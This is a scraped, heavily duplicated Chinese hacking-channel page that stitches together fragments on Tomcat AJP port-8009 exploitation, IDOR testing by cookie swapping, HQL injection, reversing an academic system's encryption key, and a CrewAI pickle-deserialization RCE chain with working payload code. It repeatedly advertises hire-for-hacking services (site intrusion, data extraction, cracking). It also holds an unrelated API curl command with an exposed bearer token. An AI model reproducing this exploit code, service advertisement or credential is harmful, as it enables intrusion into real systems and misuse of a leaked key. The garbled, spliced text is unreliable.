Tomcat的8009端口AJP的利用
Tomcat在安装的时候会有下面的界面,我们通常部署war,用的最多的是默认的8080端口。
可是当8080端口被防火墙封闭的时候,是否还有办法利用呢?
答案是可以的,可以通过AJP的8009端口,下面是step by step。
下面是实验环境:
192.168.0.102 装有Tomcat 7的虚拟主机,防火墙封闭8080端口
192.168.0.103 装有BT5系统的渗透主机
首先nmap扫描,发现8009端口开放
BT5默认apache2是安装的,我们仅需要安装mod-jk
jk.conf软连接到/etc/apache2/mods-enabled/目录
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Tomcat在安装的时候会有下面的界面,我们通常部署war,用的最多的是默认的8080端口。
可是当8080端口被防火墙封闭的时候,是否还有办法利用呢?
答案是可以的,可以通过AJP的8009端口,下面是step by step。
下面是实验环境:
192.168.0.102 装有Tomcat 7的虚拟主机,防火墙封闭8080端口
192.168.0.103 装有BT5系统的渗透主机
首先nmap扫描,发现8009端口开放
BT5默认apache2是安装的,我们仅需要安装mod-jk
jk.conf软连接到/etc/apache2/mods-enabled/目录
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
目前全能型的扫描器主要是wvs(Acunetix Web Vulnerability Scanner)、AppScan、WebInspect,国内的像aisec、bugscan等等…还有国内那些老安全厂商的扫描器就不说了,主要提一下像wvs这种使用率比较高的。另外还有目录文件型的扫描器、注入工具(类似sqlmap、Havij)等等。
扫描器识别主要从以下几点来做:
一、 扫描器指纹(head字段/请求参数值等)
二、 单IP+ cookie某时间段内触发规则次数
三、 隐藏的链接标签(<a>)
四、 Cookie植入
五、 验证码验证
六、 单IP请求时间段内Webserver返回http状态404比例
扫描器指纹(head字段/请求参数值等)
目前最常见的手法就是收集扫描器的指纹特征来做识别,不同的扫描器都有自己的一些特征,比如发出的请求会加一些特定的head 字段,测试漏洞的请求参数的值会带上自己扫描器的名称等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
扫描器识别主要从以下几点来做:
一、 扫描器指纹(head字段/请求参数值等)
二、 单IP+ cookie某时间段内触发规则次数
三、 隐藏的链接标签(<a>)
四、 Cookie植入
五、 验证码验证
六、 单IP请求时间段内Webserver返回http状态404比例
扫描器指纹(head字段/请求参数值等)
目前最常见的手法就是收集扫描器的指纹特征来做识别,不同的扫描器都有自己的一些特征,比如发出的请求会加一些特定的head 字段,测试漏洞的请求参数的值会带上自己扫描器的名称等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
单IP+ cookie某时间段内触发规则次数
根据某个IP+ cookie某时间段内触发waf拦截规则的次数大于设定的某个阀值,比如在20秒内,某个IP+cookie触发waf拦截规则10次。
另外还可以根据IP+user angent等,或者更多维度。
隐藏的链接标签等()
扫描器的爬虫会把页面里面的所有链接都抓出来去做漏洞探测,特别是现在基于webkit一类的扫描器,能够渲染css跟js,可以爬出更多的链接测试。
形式,人是点击不到的,只有软件能够匹配出这个地址,我们新建一个网页,抓扫描器数据包测试。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
根据某个IP+ cookie某时间段内触发waf拦截规则的次数大于设定的某个阀值,比如在20秒内,某个IP+cookie触发waf拦截规则10次。
另外还可以根据IP+user angent等,或者更多维度。
隐藏的链接标签等()
扫描器的爬虫会把页面里面的所有链接都抓出来去做漏洞探测,特别是现在基于webkit一类的扫描器,能够渲染css跟js,可以爬出更多的链接测试。
形式,人是点击不到的,只有软件能够匹配出这个地址,我们新建一个网页,抓扫描器数据包测试。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
WooYun: Like团用户信息泄露+越权漏洞(可获取大量用户住址联系信息)
本人不做开发,sql语句比较弱,大牛勿喷,此处只是为了说明问题。大家可以看到,以上语句都涉及where,而后面的userid或username即是越权的突破口。在操作数据库时功能请求中往往会带着一些参数来用于辨别信息的唯一值。而这些参数就是我们越权时需要注意的。
在web开发中判断用户身份的字段往往是不会在客户端传递的。用户登录系统后,开发人员一般会创建一个session来保存用户名。当用户在查看、修改个人信息等需要判定用户身份时,就直接从session中获取,而不会在客户端传递,也就避免了篡改。但若出现从客户端传递的话,那么就必须要有一步权限验证的要求了。所以在测试越权时要用抓包工具截获请求,细览下可能存在辨别信息的唯一值,来进行测试。这里要说一点,传输的参数并不一定在请求参数中,也有可能存在链接等位置。
打开fiddler2按f11,截断大号上更新用户信息请求。(查看参数可以选择fiddler中Inspects下的WebFroms或TextView。只有在截断的情况下,才可以修改请求。)
判断出可能辨别用户身份的参数ulogin。
步骤3:将小号中ulogin的参数值替换为大号的,然后解除fiddler截断(shift+f11),将请求放过去(),查看下大号用户信息是否更改。
以上即是常规的测试方法。大家可以看到消耗时间的麻烦在辨别参数上、对比大号和小号请求有何不一样的参数值上、切换浏览器查看数等等。如果遇到更改删除等功能,还要两端各自新建出数据、查看id等等、麻烦的要死。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
本人不做开发,sql语句比较弱,大牛勿喷,此处只是为了说明问题。大家可以看到,以上语句都涉及where,而后面的userid或username即是越权的突破口。在操作数据库时功能请求中往往会带着一些参数来用于辨别信息的唯一值。而这些参数就是我们越权时需要注意的。
在web开发中判断用户身份的字段往往是不会在客户端传递的。用户登录系统后,开发人员一般会创建一个session来保存用户名。当用户在查看、修改个人信息等需要判定用户身份时,就直接从session中获取,而不会在客户端传递,也就避免了篡改。但若出现从客户端传递的话,那么就必须要有一步权限验证的要求了。所以在测试越权时要用抓包工具截获请求,细览下可能存在辨别信息的唯一值,来进行测试。这里要说一点,传输的参数并不一定在请求参数中,也有可能存在链接等位置。
打开fiddler2按f11,截断大号上更新用户信息请求。(查看参数可以选择fiddler中Inspects下的WebFroms或TextView。只有在截断的情况下,才可以修改请求。)
判断出可能辨别用户身份的参数ulogin。
步骤3:将小号中ulogin的参数值替换为大号的,然后解除fiddler截断(shift+f11),将请求放过去(),查看下大号用户信息是否更改。
以上即是常规的测试方法。大家可以看到消耗时间的麻烦在辨别参数上、对比大号和小号请求有何不一样的参数值上、切换浏览器查看数等等。如果遇到更改删除等功能,还要两端各自新建出数据、查看id等等、麻烦的要死。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Hibernate对注入的简单
前段时间遇到一个使用了Hibernate框架的站,以前没怎么接触过(由于是Java盲,所以大家勿喷),再注入的事情发生了许多奇奇怪怪的事情,于是向本地搭一个看看是个神马情况。Hibernate配备了一种非常强大的查询语言,这种语言看上去很像SQL。但是不要被语法结构上的相似所迷惑,HQL是非常有意识的被设计为完全面向对象的查询。
本次测试的环境是JDK5.0+Tomcat8+Hibernate3.0+Servlet。
通过百度知道Hibernate的查询大概有5、6种,通过分析对注入能产生不同影响的应该有如下三种:
1、HQL方式
2、原生SQL方式
3、Criteria方式
重点是HQL方式,HQL相当于Hibernate自己有一套SQL语法,在用Hibernate作为查询中间层的时候,它会将你写的HQL翻译成对应数据库的SQL语句,Hibernate支持N种数据库。
会一丢丢Java的童鞋都知道Hibernate的使用流程
首先要告诉Hibernate数据库的连接信息,hibernate.cfg.xml文件
其实是映射你想使用的数据表(系统会按照表明自动生成文件,比如我的Userlist表会生成Userlist.hbm.xml),Userlist.hbm.xml文件:
分别将ID、USERNAME、USERPWD列映射为id、username、userpwd,而在实际环境中,开发者可能映射成他们喜欢的名字。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
前段时间遇到一个使用了Hibernate框架的站,以前没怎么接触过(由于是Java盲,所以大家勿喷),再注入的事情发生了许多奇奇怪怪的事情,于是向本地搭一个看看是个神马情况。Hibernate配备了一种非常强大的查询语言,这种语言看上去很像SQL。但是不要被语法结构上的相似所迷惑,HQL是非常有意识的被设计为完全面向对象的查询。
本次测试的环境是JDK5.0+Tomcat8+Hibernate3.0+Servlet。
通过百度知道Hibernate的查询大概有5、6种,通过分析对注入能产生不同影响的应该有如下三种:
1、HQL方式
2、原生SQL方式
3、Criteria方式
重点是HQL方式,HQL相当于Hibernate自己有一套SQL语法,在用Hibernate作为查询中间层的时候,它会将你写的HQL翻译成对应数据库的SQL语句,Hibernate支持N种数据库。
会一丢丢Java的童鞋都知道Hibernate的使用流程
首先要告诉Hibernate数据库的连接信息,hibernate.cfg.xml文件
其实是映射你想使用的数据表(系统会按照表明自动生成文件,比如我的Userlist表会生成Userlist.hbm.xml),Userlist.hbm.xml文件:
分别将ID、USERNAME、USERPWD列映射为id、username、userpwd,而在实际环境中,开发者可能映射成他们喜欢的名字。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
用Fiddler2截断大号的请求,把小号的cookie覆盖大号的cookie,进行测试。如果改变了大号的数据则说明越权,然后在分析是哪个参数造成的。如果未改变,则说明不存在越权,该功能直接越过。小号的cookie一直在剪贴板中的,所以在测其他功能会非常方便。用不了多长时间,即可测试完整个站点下的功能。
我们来看这个方法的优点:1不用去辨别哪个参数是辨别身份的;2不用两个账户同时去创建数据;3不用去查看小号id;4单浏览器即可测试,免去切换浏览器的烦恼。这就是我常用的方法,个人感觉已经很高效了,是不是觉得跟XSS窃取了cookie后劫持浏览器的感觉一样?但是此方法并不是对所有站点都起作用,有时你会发现小号会把大号挤出去进入大号的浏览器或者登陆状态消失,直接退出。具体什么原因造成的,我现在还不太清楚,估计是服务器端有对cookie的判断吧,希望大牛们能给出合理的解释。不过在测试大部分站点时此方法还是很好用的。顺便说一下Fiddler2是一个非常好用的抓包工具,熟练使用这个工具也是测试越权时的必要技能。小白们可以自行百度下其使用方法。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
我们来看这个方法的优点:1不用去辨别哪个参数是辨别身份的;2不用两个账户同时去创建数据;3不用去查看小号id;4单浏览器即可测试,免去切换浏览器的烦恼。这就是我常用的方法,个人感觉已经很高效了,是不是觉得跟XSS窃取了cookie后劫持浏览器的感觉一样?但是此方法并不是对所有站点都起作用,有时你会发现小号会把大号挤出去进入大号的浏览器或者登陆状态消失,直接退出。具体什么原因造成的,我现在还不太清楚,估计是服务器端有对cookie的判断吧,希望大牛们能给出合理的解释。不过在测试大部分站点时此方法还是很好用的。顺便说一下Fiddler2是一个非常好用的抓包工具,熟练使用这个工具也是测试越权时的必要技能。小白们可以自行百度下其使用方法。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
经常遇到基友求助类似Base64编码的解码(先不说是不是Base64,下文会做说明)。如:p6FDpXlnQ1tHlLZK+NvA1hwfeND8NdXt1q6whqP6WODTEBP4UzzjnDQ== 这个很像Base64编码吧,但你用标准Base64去解码得到的结果明显不是想要的(这个有N多可能)。
再议“正方”之jiam、jiemi
为什么是再议呢?因为正方教务系统的“加密”、“解密”运作方式早已被讨论N多次了,网上甚至可以找到此算法的N多版本(可自行Baidu、Google)。 两个典型的场景是:
① 有多组密文,已知几组密文对应的明文和加密算法,但是由于无法获得加密所使用的Key,无法解密其它密文。
② 由系统某缺陷可以获得加密后的密文(当然明文是自己的密码这个是可控的),获得了别人的密文后由于无Key,无法解密。
为了研究此算法尝试逆得Key,我决定再写个VB版的。由于事先已从网上查知算法位于/bin/zjdx.dll中,所以找起来就简单了,网上找得一份“源码”使用Reflector载入zjdx.dll,由登录页Default2跟进到jiam方法如图
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
经常遇到基友求助类似Base64编码的解码(先不说是不是Base64,下文会做说明)。如:p6FDpXlnQ1tHlLZK+NvA1hwfeND8NdXt1q6whqP6WODTEBP4UzzjnDQ== 这个很像Base64编码吧,但你用标准Base64去解码得到的结果明显不是想要的(这个有N多可能)。
再议“正方”之jiam、jiemi
为什么是再议呢?因为正方教务系统的“加密”、“解密”运作方式早已被讨论N多次了,网上甚至可以找到此算法的N多版本(可自行Baidu、Google)。 两个典型的场景是:
① 有多组密文,已知几组密文对应的明文和加密算法,但是由于无法获得加密所使用的Key,无法解密其它密文。
② 由系统某缺陷可以获得加密后的密文(当然明文是自己的密码这个是可控的),获得了别人的密文后由于无Key,无法解密。
为了研究此算法尝试逆得Key,我决定再写个VB版的。由于事先已从网上查知算法位于/bin/zjdx.dll中,所以找起来就简单了,网上找得一份“源码”使用Reflector载入zjdx.dll,由登录页Default2跟进到jiam方法如图
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
CrewAI FileWriterTool + PickleHandler 组合漏洞
漏洞描述
CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。
这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。
分步骤复现
用 FileWriterTool 写入恶意 pickle 文件
协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了
用 PickleHandler 路径穿越加载恶意文件
#网站 #编程 #数据 #权限 #破解
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
漏洞描述
CrewAI 是一个快速、灵活的多 AI Agent 自动化框架,专为构建自主 AI Agent 和事件驱动工作流而设计。FileWriterTool 是 crewai-tools 中用于写入文件的工具,PickleHandler 是 crewai 核心库中用于持久化训练数据的工具类。
这两个组件组合起来形成了一条完整的 RCE 攻击链:FileWriterTool 可以向任意目录写入文件(无路径限制),而 PickleHandler 虽然使用 os.getcwd() 限制文件只能在当前工作目录下,但可以通过 ../ 路径穿越绕过这个限制。攻击者可以先用 FileWriterTool 写入恶意 pickle 文件,再通过 PickleHandler 的路径穿越加载该文件,触发 pickle.load() 的不安全反序列化,最终实现任意代码执行。
1 curl --location 'http://ai-2api.jdcloud.com/v1/chat/completions' \
2 --header 'Authorization: Bearer pk-6f6c6dc5-010a-44d7-bb2c-cc2c60410ca8' \
3 --header 'Content-Type: application/json' \
4 --data '{
5 "model": "Gemini-2.5-pro",
6 "messages": [
7 {
8 "role": "user",
9 "content": "世界最长的河流是什么?"
10 }
11 ],
12 "thinking_budget":1024 (非必填),
13 "max_tokens": 1000(非必填),
14 "thinking":true,
15 "stream":false
16 }'
分步骤复现
用 FileWriterTool 写入恶意 pickle 文件
FileWriterTool 使用文本模式 (mode="w") 写入文件,而 pickle 通常是二进制格式。我们试试用 pickle 协议 0 生成 ASCII 格式的 payload,看能不能绕过这个限制。1 import pickle
2 import os
3
4 class MaliciousPayload:
5 def __reduce__(self):
6 return (os.system,('echo RCE_SUCCESS > /tmp/test.txt',))
7
8 # 使用协议 0 生成 ASCII pickle
9 pickle_bytes =
10pickle.dumps(MaliciousPayload(), protocol=0)
pickle_str = pickle_bytes.decode('latin-1')
11
12 print(f"Pickle payload: {repr(pickle_str)}")
协议 0 生成的是纯 ASCII 文本,可以用 latin-1 解码为字符串,这样就能通过 FileWriterTool 的文本模式写入了
FileWriterTool 没有任何路径限制,可以写入任意目录,写 pkl 文件无问题用 PickleHandler 路径穿越加载恶意文件
import os
from crewai.utilities.file_handler import PickleHandler
# 假设当前工作目录是 /tmp/work
os.chdir("/tmp/work")
print(f"当前目录: {os.getcwd()}")
# 使用 ../ 路径穿越绕过 os.getcwd() 限制
handler = PickleHandler("../attack/malicious.pkl")
print(f"构造的路径: {handler.file_path}")
# 输出: /tmp/work/../attack/malicious.pkl
# 实际指向: /tmp/attack/malicious.pkl
PickleHandler 用 os.path.join(os.getcwd(), file_name) 限制文件在当前目录,但 ../ 可以穿越出去。当然也可以使用绝对路径绕过#网站 #编程 #数据 #权限 #破解
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke